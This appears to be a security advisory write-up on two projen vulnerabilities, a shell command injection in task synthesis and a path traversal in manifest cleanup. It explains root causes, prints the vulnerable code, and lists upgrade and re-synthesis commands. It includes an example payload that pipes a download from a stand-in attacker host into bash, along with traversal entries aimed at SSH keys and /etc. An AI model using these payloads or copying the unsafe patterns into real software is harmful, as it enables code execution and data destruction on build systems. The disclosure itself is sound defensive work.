AWS Discloses Command Injection Flaw in projen Tooling Enabling CI/CD Runner Takeover

Executive Threat Summary: Supply Chain Poisoning in Infrastructure-as-Code Tooling

Amazon Web Services (AWS) has published a security bulletin warning engineering teams of dual high-severity vulnerabilities affecting projen, a widely used open-source project management and code generation tool maintained under the AWS open-source ecosystem. The primary flaw, cataloged as CVE-2026-89066 (CVSS 7.8), allows untrusted pull requests or maliciously crafted repository files to achieve remote code execution (RCE) on developer workstations and continuous integration (CI) runners.

Simultaneously, AWS disclosed a companion vulnerability, CVE-2026-89065 (CVSS 7.1), residing within projen's file cleanup manifest component. This flaw allows attackers to execute relative path traversal attacks during synthesis, resulting in the recursive deletion of arbitrary directories and configuration files across the host environment.

Unlike conventional library vulnerabilities where updating dependencies immediately neutralizes the threat, projen operates by synthesizing committed static configuration files (such as .projen/tasks.json). Consequently, vulnerable command templates remain active in source control even after updating the generator package until repository maintainers explicitly invoke a complete project re-synthesis.

Technical Mechanics & Root Cause Dissection

1. OS Command Injection via Shell Metacharacters (CVE-2026-89066)

The core defect lies in projen's task synthesis engine (src/tasks/task.ts). Projen enables developers to define reusable workflow commands, build targets, and CI scripts using TypeScript or Python, which are subsequently compiled into JSON task manifests consumed by execution runners:

// Vulnerable interpolation in task synthesis
const cmd = "echo \"Synthesizing project: " + projectName + "\" && " + taskCommand;
// Unsanitized shell metacharacters ($(), ;, |) inside projectName or task config
// pass directly into generated .projen/tasks.json shell execution steps

When project configuration properties or repository file paths contained shell control characters (e.g., $(curl evil.com/payload | bash) or semicolons), the generator failed to sanitize these values before interpolating them into generated task commands. When a developer or automated CI workflow runs npx projen or triggers a synthesized npm/yarn script, the shell executes the injected command sequence with the privileges of the local build environment.

2. Path Traversal & Arbitrary Directory Deletion (CVE-2026-89065)

Projen maintains a manifest file (.projen/files.json) listing all auto-generated project artifacts to facilitate clean removals during subsequent synthesis cycles. However, the manifest parser failed to validate that target deletion paths remained confined within the project root:

// Vulnerable manifest cleanup path resolution
for (const file of manifest.files) {
    // Missing path.resolve / prefix boundary verification
    // Crafted entries like "../../.ssh" or "../../../etc" trigger recursive deletion
    fs.rmSync(path.join(projectRoot, file), { recursive: true, force: true });
}

By submitting a crafted pull request containing path traversal sequences (../) within .projen/files.json, an attacker can trick an engineer or automated CI runner into deleting arbitrary user directories, SSH configuration keys, or adjacent source trees during the synthesis step.

Defensive Remediation & Mandatory Re-Synthesis Playbook

Because vulnerable synthesized artifacts are checked into version control, teams must execute a two-step remediation process:

Step 1: Upgrade projen Library

Update project dependencies to projen v0.103.0 or later:

# For Node.js / TypeScript projects:
npm install --save-dev projen@latest
# or
yarn add --dev projen@latest

# For Python projects:
pip install --upgrade "projen>=0.103.0"

Step 2: Mandatory Project Re-Synthesis

Immediately re-run projen synthesis to overwrite and sanitize committed JSON manifests:

# Execute project synthesis to regenerate sanitized manifests:
npx projen

# Verify modifications in git status:
git diff .projen/tasks.json .projen/files.json

# Commit sanitized configuration files:
git add .projen/
git commit -m "fix(security): re-synthesize projen configurations to patch CVE-2026-89066"
git push origin main